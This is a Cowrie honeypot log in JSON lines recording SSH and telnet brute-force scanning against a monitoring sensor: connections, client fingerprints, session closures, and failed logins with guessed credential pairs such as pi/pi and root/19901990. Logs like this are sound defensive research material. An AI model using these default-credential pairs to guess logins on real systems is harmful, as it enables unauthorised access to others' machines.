{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.589409Z","src_ip":"45.156.87.204","session":"4826fdc2689d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.673082Z","src_ip":"45.156.87.204","session":"4826fdc2689d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:34.920913Z","src_ip":"45.156.87.204","session":"4826fdc2689d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901990","message":"login attempt [root/19901990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:35.228039Z","src_ip":"103.153.68.219","session":"5a5080a14565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:35.646042Z","src_ip":"94.26.106.229","session":"c69d0d81a4de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.006145Z","src_ip":"45.156.87.204","session":"4826fdc2689d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":48402,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a6073eefe3","protocol":"ssh","message":"New connection: 94.26.106.229:48402 (159.203.135.109:22) [session: 21a6073eefe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.330753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.334948Z","src_ip":"94.26.106.229","session":"21a6073eefe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.418491Z","src_ip":"94.26.106.229","session":"21a6073eefe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.484644Z","src_ip":"103.153.68.219","session":"5a5080a14565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.672396Z","src_ip":"94.26.106.229","session":"21a6073eefe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34344,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3f12457aaa1","protocol":"telnet","message":"New connection: 152.42.224.71:34344 (10.17.0.5:23) [session: c3f12457aaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:36.690134Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:37.766203Z","src_ip":"94.26.106.229","session":"21a6073eefe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.222.167.126","src_port":15769,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c323eba1252","protocol":"telnet","message":"New connection: 176.222.167.126:15769 (159.203.135.109:23) [session: 7c323eba1252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:37.868075Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53120,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d830b44ee02","protocol":"ssh","message":"New connection: 45.156.87.204:53120 (159.203.135.109:22) [session: 1d830b44ee02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:37.916457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:38.023827Z","src_ip":"45.156.87.204","session":"1d830b44ee02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:38.027808Z","src_ip":"45.156.87.204","session":"1d830b44ee02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:38.377759Z","src_ip":"45.156.87.204","session":"1d830b44ee02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":48414,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad07bba4e83","protocol":"ssh","message":"New connection: 94.26.106.229:48414 (159.203.135.109:22) [session: 9ad07bba4e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.001547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.006748Z","src_ip":"94.26.106.229","session":"9ad07bba4e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60200,"dst_ip":"159.203.135.109","dst_port":22,"session":"629ab5df54aa","protocol":"ssh","message":"New connection: 37.233.85.71:60200 (159.203.135.109:22) [session: 629ab5df54aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.046079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.052484Z","src_ip":"37.233.85.71","session":"629ab5df54aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.090881Z","src_ip":"94.26.106.229","session":"9ad07bba4e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.148046Z","src_ip":"37.233.85.71","session":"629ab5df54aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.341743Z","src_ip":"94.26.106.229","session":"9ad07bba4e83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw12345","message":"login attempt [root/qw12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.440960Z","src_ip":"37.233.85.71","session":"629ab5df54aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.462873Z","src_ip":"45.156.87.204","session":"1d830b44ee02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":54130,"dst_ip":"159.203.135.109","dst_port":22,"session":"f65fd69e639c","protocol":"ssh","message":"New connection: 43.128.86.117:54130 (159.203.135.109:22) [session: f65fd69e639c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.741856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.746853Z","src_ip":"43.128.86.117","session":"f65fd69e639c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:39.992632Z","src_ip":"43.128.86.117","session":"f65fd69e639c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.131865739822388,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:40.231890Z","src_ip":"152.42.224.71","session":"d49b94e219fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:40.427970Z","src_ip":"94.26.106.229","session":"9ad07bba4e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:40.539634Z","src_ip":"37.233.85.71","session":"629ab5df54aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":54976,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80a26b81b02","protocol":"ssh","message":"New connection: 45.183.70.66:54976 (159.203.135.109:22) [session: f80a26b81b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:40.869059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:40.872944Z","src_ip":"45.183.70.66","session":"f80a26b81b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:40.990685Z","src_ip":"45.183.70.66","session":"f80a26b81b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!!!","message":"login attempt [root/Abc123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.006934Z","src_ip":"43.128.86.117","session":"f65fd69e639c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":48418,"dst_ip":"159.203.135.109","dst_port":22,"session":"01576a695d3c","protocol":"ssh","message":"New connection: 94.26.106.229:48418 (159.203.135.109:22) [session: 01576a695d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.106912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.110691Z","src_ip":"94.26.106.229","session":"01576a695d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.193529Z","src_ip":"94.26.106.229","session":"01576a695d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"password","message":"login attempt [adam/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.442597Z","src_ip":"94.26.106.229","session":"01576a695d3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123123","message":"login attempt [newuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.489126Z","src_ip":"45.183.70.66","session":"f80a26b81b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":53126,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb54e440100c","protocol":"ssh","message":"New connection: 45.156.87.204:53126 (159.203.135.109:22) [session: eb54e440100c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.540428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:08:41.545083Z","src_ip":"45.156.87.204","session":"eb54e440100c","protocol":"ssh"}
